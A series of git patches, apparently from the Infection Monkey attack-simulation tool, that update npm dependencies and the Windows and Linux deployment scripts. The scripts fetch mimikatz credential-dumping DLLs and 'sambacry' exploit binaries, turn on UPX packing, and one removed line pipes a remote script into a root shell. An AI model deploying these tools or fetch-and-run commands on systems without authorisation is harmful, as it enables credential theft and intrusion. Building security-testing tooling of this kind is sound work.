index 14e547416..b402cad83 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -2731,7 +2731,7 @@
"dev": true,
"requires": {
"bluebird": "3.5.5",
- "chownr": "1.1.2",
+ "chownr": "1.1.3",
"figgy-pudding": "3.5.1",
"glob": "7.1.4",
"graceful-fs": "4.2.2",
@@ -2759,7 +2759,7 @@
"integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
"dev": true,
"requires": {
- "yallist": "3.0.3"
+ "yallist": "3.1.1"
}
},
"y18n": {
@@ -2769,9 +2769,9 @@
"dev": true
},
"yallist": {
- "version": "3.0.3",
- "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.0.3.tgz",
- "integrity": "sha512-S+Zk8DEWE6oKpV+vI3qWkaK+jSbIK86pCwe2IF/xwIpQ8jEuxpw9NyaGjmp9+BoJv5FV2piqCDcoCtStppiq2A==",
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+ "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
"dev": true
}
}
@@ -2945,9 +2945,9 @@
}
},
"chownr": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.2.tgz",
- "integrity": "sha512-GkfeAQh+QNy3wquu9oIZr6SS5x7wGdSgNQvD10X3r+AZr1Oys22HW8kAmDMvNg2+Dm0TeGaEuO8gFwdBXxwO8A==",
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.3.tgz",
+ "integrity": "sha512-i70fVHhmV3DtTl6nqvZOnIjbY0Pe4kAUjwHj8z0zAdgBtYrJyYwLKCCuRBQ5ppkyL0AkN7HKRnETdmdp1zqNXw==",
"dev": true
},
"chrome-trace-event": {
@@ -5117,9 +5117,9 @@
}
},
"eslint-plugin-react": {
- "version": "7.14.3",
- "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.14.3.tgz",
- "integrity": "sha512-EzdyyBWC4Uz2hPYBiEJrKCUi2Fn+BJ9B/pJQcjw5X+x/H2Nm59S4MJIvL4O5NEE0+WbnQwEBxWY03oUk+Bc3FA==",
+ "version": "7.15.1",
+ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.15.1.tgz",
+ "integrity": "sha512-YotSItgMPwLGlr3df44MGVyXnHkmKcpkHTzpte3QwJtocr3nFqCXCuoxFZeBtnT8RHdj038NlTvam3dcAFrMcA==",
"dev": true,
"requires": {
"array-includes": "3.0.3",
@@ -5652,9 +5652,9 @@
"optional": true
},
"filepond": {
- "version": "4.7.1",
- "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.1.tgz",
- "integrity": "sha512-AxZBhsGS9QEJfbLiASUJMuS3hLhq/HbkKaJx1gKYCQ0lbs/OfciKKdeFbtAVKk0o9o6DcITw2C+QqFcTP1QBCg=="
+ "version": "4.7.2",
+ "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.2.tgz",
+ "integrity": "sha512-OqG35MnmvrGnq2KgHO0PS8uujzRqQL/bMlSy0StqRn6RRAM6wBM9gzQl22IvWLwMyw6g8aIZTZAhMaiTS1LZsA=="
},
"fill-range": {
"version": "2.2.3",
@@ -6362,7 +6362,7 @@
"bundled": true,
"dev": true,
"requires": {
- "inherits": "~2.0.0"
+ "inherits": "2.0.3"
}
},
"boom": {
@@ -6485,7 +6485,7 @@
"dev": true,
"optional": true,
"requires": {
- "jsbn": "~0.1.0"
+ "jsbn": "0.1.1"
}
},
"extend": {
@@ -6695,14 +6695,13 @@
"dev": true,
"optional": true,
"requires": {
- "jsbn": "~0.1.0"
+ "jsbn": "0.1.1"
}
},
"jsbn": {
"version": "0.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"json-schema": {
"version": "0.2.3",
@@ -6716,7 +6715,7 @@
"dev": true,
"optional": true,
"requires": {
- "jsonify": "~0.0.0"
+ "jsonify": "0.0.0"
}
},
"json-stringify-safe": {
@@ -15577,9 +15576,9 @@
}
},
"react": {
- "version": "16.9.0",
- "resolved": "https://registry.npmjs.org/react/-/react-16.9.0.tgz",
- "integrity": "sha512-+7LQnFBwkiw+BobzOF6N//BdoNw0ouwmSJTEm9cglOOmsg/TMiFHZLe2sEoN5M7LgJTj9oHH0gxklfnQe66S1w==",
+ "version": "16.10.1",
+ "resolved": "https://registry.npmjs.org/react/-/react-16.10.1.tgz",
+ "integrity": "sha512-2bisHwMhxQ3XQz4LiJJwG3360pY965pTl/MRrZYxIBKVj4fOHoDs5aZAkYXGxDRO1Li+SyjTAilQEbOmtQJHzA==",
"requires": {
"loose-envify": "1.3.1",
"object-assign": "4.1.1",
@@ -15667,14 +15666,14 @@
}
},
"react-dom": {
- "version": "16.9.0",
- "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.9.0.tgz",
- "integrity": "sha512-YFT2rxO9hM70ewk9jq0y6sQk8cL02xm4+IzYBz75CQGlClQQ1Bxq0nhHF6OtSbit+AIahujJgb/CPRibFkMNJQ==",
+ "version": "16.10.1",
+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.10.1.tgz",
+ "integrity": "sha512-SmM4ZW0uug0rn95U8uqr52I7UdNf6wdGLeXDmNLfg3y5q5H9eAbdjF5ubQc3bjDyRrvdAB2IKG7X0GzSpnn5Mg==",
"requires": {
"loose-envify": "1.3.1",
"object-assign": "4.1.1",
"prop-types": "15.7.2",
- "scheduler": "0.15.0"
+ "scheduler": "0.16.1"
}
},
"react-event-timeline": {
@@ -15719,9 +15718,9 @@
}
},
"react-hot-loader": {
- "version": "4.12.13",
- "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.13.tgz",
- "integrity": "sha512-4Byk3aVQhcmTnVCBvDHOEOUnMFMj81r2yRKZQSfLOG2yd/4hm/A3oK15AnCZilQExqSFSsHcK64lIIU+dU2zQQ==",
+ "version": "4.12.14",
+ "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.14.tgz",
+ "integrity": "sha512-ecxH4eBvEaJ9onT8vkEmK1FAAJUh1PqzGqds9S3k+GeihSp7nKAp4fOxytO+Ghr491LiBD38jaKyDXYnnpI9pQ==",
"dev": true,
"requires": {
"fast-levenshtein": "2.0.6",
@@ -15746,7 +15745,7 @@
"integrity": "sha512-0XsbTXxgiaCDYDIWFcwkmerZPSwywfUqYmwT4jzewKTQSWoE6FCMoUVOeBJWK3E/CrWbxRG3m5GzY4lnIwGRBA==",
"dev": true,
"requires": {
- "react-is": "16.9.0"
+ "react-is": "16.10.1"
}
},
"json5": {
@@ -15770,9 +15769,9 @@
}
},
"react-is": {
- "version": "16.9.0",
- "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.9.0.tgz",
- "integrity": "sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw==",
+ "version": "16.10.1",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.10.1.tgz",
+ "integrity": "sha512-BXUMf9sIOPXXZWqr7+c5SeOKJykyVr2u0UDzEf4LNGc6taGkQe1A9DFD07umCIXz45RLr9oAAwZbAJ0Pkknfaw==",
"dev": true
},
"source-map": {
@@ -16008,9 +16007,9 @@
}
},
"react-toggle": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.0.2.tgz",
- "integrity": "sha512-EPTWnN7gQHgEAUEmjheanZXNzY5TPnQeyyHfEs3YshaiWZf5WNjfYDrglO5F1Hl/dNveX18i4l0grTEsYH2Ccw==",
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.1.tgz",
+ "integrity": "sha512-+wXlMcSpg8SmnIXauMaZiKpR+r2wp2gMUteroejp2UTSqGTVvZLN+m9EhMzFARBKEw7KpQOwzCyfzeHeAndQGw==",
"requires": {
"classnames": "2.2.6"
}
@@ -16706,9 +16705,9 @@
}
},
"scheduler": {
- "version": "0.15.0",
- "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.15.0.tgz",
- "integrity": "sha512-xAefmSfN6jqAa7Kuq7LIJY0bwAPG3xlCj0HMEBQk1lxYiDKZscY2xJ5U/61ZTrYbmNQbXa+gc7czPkVo11tnCg==",
+ "version": "0.16.1",
+ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.16.1.tgz",
+ "integrity": "sha512-MIuie7SgsqMYOdCXVFZa8SKoNorJZUWHW8dPgto7uEHn1lX3fg2Gu0TzgK8USj76uxV7vB5eRMnZs/cdEHg+cg==",
"requires": {
"loose-envify": "1.3.1",
"object-assign": "4.1.1"
@@ -17936,20 +17935,20 @@
}
},
"terser": {
- "version": "4.3.1",
- "resolved": "https://registry.npmjs.org/terser/-/terser-4.3.1.tgz",
- "integrity": "sha512-pnzH6dnFEsR2aa2SJaKb1uSCl3QmIsJ8dEkj0Fky+2AwMMcC9doMqLOQIH6wVTEKaVfKVvLSk5qxPBEZT9mywg==",
+ "version": "4.3.4",
+ "resolved": "https://registry.npmjs.org/terser/-/terser-4.3.4.tgz",
+ "integrity": "sha512-Kcrn3RiW8NtHBP0ssOAzwa2MsIRQ8lJWiBG/K7JgqPlomA3mtb2DEmp4/hrUA+Jujx+WZ02zqd7GYD+QRBB/2Q==",
"dev": true,
"requires": {
- "commander": "2.20.0",
+ "commander": "2.20.1",
"source-map": "0.6.1",
"source-map-support": "0.5.13"
},
"dependencies": {
"commander": {
- "version": "2.20.0",
- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.0.tgz",
- "integrity": "sha512-7j2y+40w61zy6YC2iRNpUe/NwhNyoXrYpHMrSunaMG64nRnaf96zO/KMQR4OyN/UnE5KLyEBnKHd4aG3rskjpQ==",
+ "version": "2.20.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.1.tgz",
+ "integrity": "sha512-cCuLsMhJeWQ/ZpsFTbE765kvVfoeSddc4nU3up4fV+fDBcfUXnbITJ+JzhkdjzOqhURjZgujxaioam4RM9yGUg==",
"dev": true
},
"source-map": {
@@ -17982,7 +17981,7 @@
"schema-utils": "1.0.0",
"serialize-javascript": "1.9.1",
"source-map": "0.6.1",
- "terser": "4.3.1",
+ "terser": "4.3.4",
"webpack-sources": "1.4.3",
"worker-farm": "1.7.0"
},
@@ -19710,9 +19709,9 @@
}
},
"webpack": {
- "version": "4.40.2",
- "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.40.2.tgz",
- "integrity": "sha512-5nIvteTDCUws2DVvP9Qe+JPla7kWPPIDFZv55To7IycHWZ+Z5qBdaBYPyuXWdhggTufZkQwfIK+5rKQTVovm2A==",
+ "version": "4.41.0",
+ "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.41.0.tgz",
+ "integrity": "sha512-yNV98U4r7wX1VJAj5kyMsu36T8RPPQntcb5fJLOsMz/pt/WrKC0Vp1bAlqPLkA1LegSwQwf6P+kAbyhRKVQ72g==",
"dev": true,
"requires": {
"@webassemblyjs/ast": "1.8.5",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index aa85164ce..6743638d5 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -37,7 +37,7 @@
"css-loader": "^1.0.1",
"eslint": "^5.16.0",
"eslint-loader": "^2.2.1",
- "eslint-plugin-react": "^7.14.3",
+ "eslint-plugin-react": "^7.15.1",
"file-loader": "^1.1.11",
"glob": "^7.1.4",
"html-loader": "^0.5.5",
@@ -56,11 +56,11 @@
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
"react-event-timeline": "^1.6.3",
- "react-hot-loader": "^4.12.13",
+ "react-hot-loader": "^4.12.14",
"rimraf": "^2.7.1",
"style-loader": "^0.22.1",
"url-loader": "^1.1.2",
- "webpack": "^4.40.2",
+ "webpack": "^4.41.0",
"webpack-cli": "^3.3.9",
"webpack-dev-server": "^3.8.1"
},
@@ -74,7 +74,7 @@
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"file-saver": "^2.0.2",
- "filepond": "^4.7.1",
+ "filepond": "^4.7.2",
"js-file-download": "^0.4.8",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
@@ -85,13 +85,13 @@
"pluralize": "^7.0.0",
"prop-types": "^15.7.2",
"rc-progress": "^2.5.2",
- "react": "^16.9.0",
+ "react": "^16.10.1",
"react-bootstrap": "^0.32.4",
"react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0",
"react-desktop-notification": "^1.0.9",
"react-dimensions": "^1.3.0",
- "react-dom": "^16.9.0",
+ "react-dom": "^16.10.1",
"react-fa": "^5.0.0",
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.2",
@@ -101,7 +101,7 @@
"react-router-dom": "^4.3.1",
"react-spinners": "^0.5.13",
"react-table": "^6.10.3",
- "react-toggle": "^4.0.1",
+ "react-toggle": "^4.1.1",
"react-tooltip-lite": "^1.10.0",
"redux": "^4.0.4",
"sass-loader": "^7.3.1",
From 97542107dc657dd312d9da472c71e2b99208661c Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Thu, 3 Oct 2019 17:20:14 +0300
Subject: [PATCH 028/108] Fixed bug that caused PATH not to be refreshed after
python installation
---
deployment_scripts/deploy_windows.ps1 | 5 ++---
1 file changed, 2 insertions(+), 3 deletions(-)
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index c7192a4c8..87d6bc8cf 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -56,13 +56,12 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Select 'add to PATH' when installing"
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
- $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
+ $env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path","User")
Remove-Item $TEMP_PYTHON_INSTALLER
# Check if installed correctly
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like '* is not recognized*' ) {
- "Python is not found in PATH. If you just installed python you need to restart cmd.
- Else, add it manually or reinstall python."
+ "Python is not found in PATH. Add it to PATH and relaunch the script."
return
}
}
From dff71eabc4fedb5b8a3b09c17e691cd43da4dae8 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 7 Oct 2019 09:53:18 +0300
Subject: [PATCH 029/108] Added C++ redistributable required for windows and
brought back UPX
---
deployment_scripts/config.ps1 | 5 +++++
deployment_scripts/deploy_windows.ps1 | 19 +++++++++++++++++++
monkey/infection_monkey/monkey.spec | 1 +
3 files changed, 25 insertions(+)
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index a3dafc66e..095f7b899 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -29,13 +29,18 @@ $MK64_DLL = "mk64.zip"
$TEMP_PYTHON_INSTALLER = ".\python.exe"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
+$TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
+$TEMP_UPX_ZIP = "upx.zip"
+$UPX_FOLDER = "upx394w"
# Other url's
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
+$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b225/pywin32-225.win-amd64-py3.7.exe"
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.zip"
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.zip"
+$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 87d6bc8cf..0403185ff 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -107,6 +107,12 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
+ # Download and install C++ redistributable
+ "Downloading C++ redistributable ..."
+ $webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
+ Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
+ Remove-Item $TEMP_CPP_INSTALLER
+
# Generate ssl certificate
"Generating ssl certificate"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
@@ -158,6 +164,19 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
+ # Download upx
+ if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
+ "Downloading upx ..."
+ $webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
+ "Unzipping upx"
+ Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
+ Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
+ # Remove unnecessary files
+ Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
+ "Removing zip file"
+ Remove-Item $TEMP_UPX_ZIP
+ }
+
# Download mimikatz binaries
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
if(!(Test-Path -Path $mk32_path )){
diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index e35fd2630..9c5fa9a18 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -38,6 +38,7 @@ def main():
debug=False,
strip=get_exe_strip(),
upx=True,
+ upx_exclude=['vcruntime140.dll'],
console=True,
icon=get_exe_icon())
From 6245be15ebc0ea280e1dfa9b970b2a63788fd681 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 7 Oct 2019 16:24:15 +0300
Subject: [PATCH 030/108] Automatically adds python scripts to path so user
could use pyinstaller off the bat
---
deployment_scripts/deploy_windows.ps1 | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1
index 0403185ff..5a21c4daa 100644
--- a/deployment_scripts/deploy_windows.ps1
+++ b/deployment_scripts/deploy_windows.ps1
@@ -75,12 +75,20 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
}
"Installing python packages for island"
- $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
+ $islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
& python -m pip install --user -r $islandRequirements
"Installing python packages for monkey"
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
& python -m pip install --user -r $monkeyRequirements
+ $user_python_dir = cmd.exe /c 'py -m site --user-site'
+ $user_python_dir = Join-Path (Split-Path $user_python_dir) -ChildPath "\Scripts"
+ if(!($ENV:PATH | Select-String -SimpleMatch $user_python_dir)){
+ "Adding python scripts path to user's env"
+ $env:Path += ";"+$user_python_dir
+ [Environment]::SetEnvironmentVariable("Path",$env:Path,"User")
+ }
+
# Download mongodb
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
"Downloading mongodb ..."
From eaee0451c50d802f73c370e519d45c31501c5cb1 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Wed, 9 Oct 2019 11:23:20 +0300
Subject: [PATCH 031/108] Linux dev. env. deployment altered to support py3
---
deployment_scripts/config | 6 ++
deployment_scripts/deploy_linux.sh | 70 ++++++++++++-------
.../infection_monkey/requirements_linux.txt | 4 +-
monkey/monkey_island/linux/install_mongo.sh | 3 +-
monkey/monkey_island/linux/run.sh | 16 ++++-
monkey/monkey_island/requirements.txt | 1 -
6 files changed, 68 insertions(+), 32 deletions(-)
diff --git a/deployment_scripts/config b/deployment_scripts/config
index bb10ed105..fb7a3d5b6 100644
--- a/deployment_scripts/config
+++ b/deployment_scripts/config
@@ -14,6 +14,12 @@ WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
+# Other binaries for monkey
+TRACEROUTE_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/traceroute64"
+TRACEROUTE_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/traceroute32"
+SAMBACRY_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so"
+SAMBACRY_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so"
+
# Mongo url's
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 4df8ba114..136e3f8b1 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -11,9 +11,9 @@ fi
ISLAND_PATH="$monkey_home/monkey/monkey_island"
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
-MONGO_BIN_PATH="$MONGO_PATH/bin"
-ISLAND_DB_PATH="$ISLAND_PATH/db"
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
+INFECTION_MONKEY_DIR="$monkey_home/monkey/infection_monkey"
+MONKEY_BIN_DIR="$INFECTION_MONKEY_DIR/bin"
handle_error () {
echo "Fix the errors above and rerun the script"
@@ -52,25 +52,39 @@ fi
# Create folders
log_message "Creating island dirs under $ISLAND_PATH"
-mkdir -p ${MONGO_BIN_PATH}
-mkdir -p ${ISLAND_DB_PATH}
+mkdir -p ${MONGO_PATH}
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
-python_version=`python --version 2>&1`
-if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
- echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
- exit 1
+# Detecting command that calls python 3.7
+python_cmd=""
+if [[ `python --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python"
+fi
+if [[ `python37 --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python37"
+fi
+if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python3.7"
+fi
+
+if [[ ${python_cmd} == "" ]]; then
+ log_message "Python 3.7 command not found. Installing python 3.7."
+ sudo add-apt-repository ppa:deadsnakes/ppa
+ sudo apt install python3.7
+ log_message "Python 3.7 is now available with command 'python3.7'."
+ python_cmd="python3.7"
fi
log_message "Updating package list"
sudo apt-get update
log_message "Installing pip"
-sudo apt-get install python-pip
+sudo apt install python3-pip
+${python_cmd} -m pip install pip
log_message "Installing island requirements"
requirements="$ISLAND_PATH/requirements.txt"
-python -m pip install --user -r ${requirements} || handle_error
+${python_cmd} -m pip install --user --upgrade -r ${requirements} || handle_error
# Download binaries
log_message "Downloading binaries"
@@ -89,7 +103,7 @@ linux_dist=`lsb_release -a 2> /dev/null`
# If a user haven't installed mongo manually check if we can install it with our script
log_message "Installing MongoDB"
-${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error
+${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_PATH} || handle_error
log_message "Installing openssl"
sudo apt-get install openssl
@@ -106,32 +120,38 @@ openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/ser
sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
+# Update node
+log_message "Installing nodejs"
+sudo apt-get install -y nodejs
+
# Install npm
log_message "Installing npm"
sudo apt-get install npm
-
-# Update node
-log_message "Updating node"
-curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
-sudo apt-get install -y nodejs
+npm update
log_message "Generating front end"
cd "$ISLAND_PATH/cc/ui" || handle_error
-npm update
npm run dist
# Monkey setup
log_message "Installing monkey requirements"
-sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
+sudo apt-get install python-dev libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error
-python -m pip install --user -r requirements_linux.txt || handle_error
+${python_cmd} -m pip install -r requirements_linux.txt --user --upgrade || handle_error
+
+# Making dir for binaries
+mkdir ${MONKEY_BIN_DIR}
+
+# Download sambacry binaries
+log_message "Downloading sambacry binaries"
+wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_64_BINARY_URL}
+wget -c -N -P ${MONKEY_BIN_DIR} ${SAMBACRY_32_BINARY_URL}
+
+# Download traceroute binaries
+log_message "Downloading tracerout binaries"
+wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_64_BINARY_URL}
+wget -c -N -P ${MONKEY_BIN_DIR} ${TRACEROUTE_32_BINARY_URL}
-# Build samba
-log_message "Building samba binaries"
-sudo apt-get install gcc-multilib
-cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
-sudo chmod +x ./build.sh || handle_error
-./build.sh
sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt
index f30131267..9dc66a787 100644
--- a/monkey/infection_monkey/requirements_linux.txt
+++ b/monkey/infection_monkey/requirements_linux.txt
@@ -1,11 +1,10 @@
-enum34
impacket
pycryptodome
cffi
requests
odict
paramiko
-psutil==3.4.2
+psutil
PyInstaller
six
ecdsa
@@ -14,4 +13,3 @@ ipaddress
wmi
pymssql
pyftpdlib
-enum34
diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh
index 2395454b6..478d7e0ed 100755
--- a/monkey/monkey_island/linux/install_mongo.sh
+++ b/monkey/monkey_island/linux/install_mongo.sh
@@ -10,7 +10,7 @@ then
elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]] ;
then
echo Detected Ubuntu 18.04
- export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.0.8.tgz"
+ export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.0.tgz"
elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]] ;
then
echo Detected Debian 8
@@ -31,6 +31,7 @@ tar -xf mongodb.tgz
popd
mkdir -p ${MONGODB_DIR}/bin
+mkdir -p ${MONGODB_DIR}/db
cp ${TEMP_MONGO}/mongodb-*/bin/mongod ${MONGODB_DIR}/bin/mongod
cp ${TEMP_MONGO}/mongodb-*/LICENSE-Community.txt ${MONGODB_DIR}/
chmod a+x ${MONGODB_DIR}/bin/mongod
diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh
index 978e02fe5..235b30469 100644
--- a/monkey/monkey_island/linux/run.sh
+++ b/monkey/monkey_island/linux/run.sh
@@ -1,4 +1,16 @@
#!/bin/bash
-cd /var/monkey
-/var/monkey/monkey_island/bin/python/bin/python monkey_island.py
\ No newline at end of file
+# Detecting command that calls python 3.7
+python_cmd=""
+if [[ `python --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python"
+fi
+if [[ `python37 --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python37"
+fi
+if [[ `python3.7 --version 2>&1` == *"Python 3.7"* ]]; then
+ python_cmd="python3.7"
+fi
+
+./bin/mongodb/bin/mongod --dbpath ./bin/mongodb/db
+${python_cmd} monkey_island.py
\ No newline at end of file
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index 49c1e37a5..c6088a3ea 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -1,4 +1,3 @@
-bson
python-dateutil
tornado
werkzeug
From 047191070cb97f0a64fc0a30dcb1ce7fee23e43c Mon Sep 17 00:00:00 2001
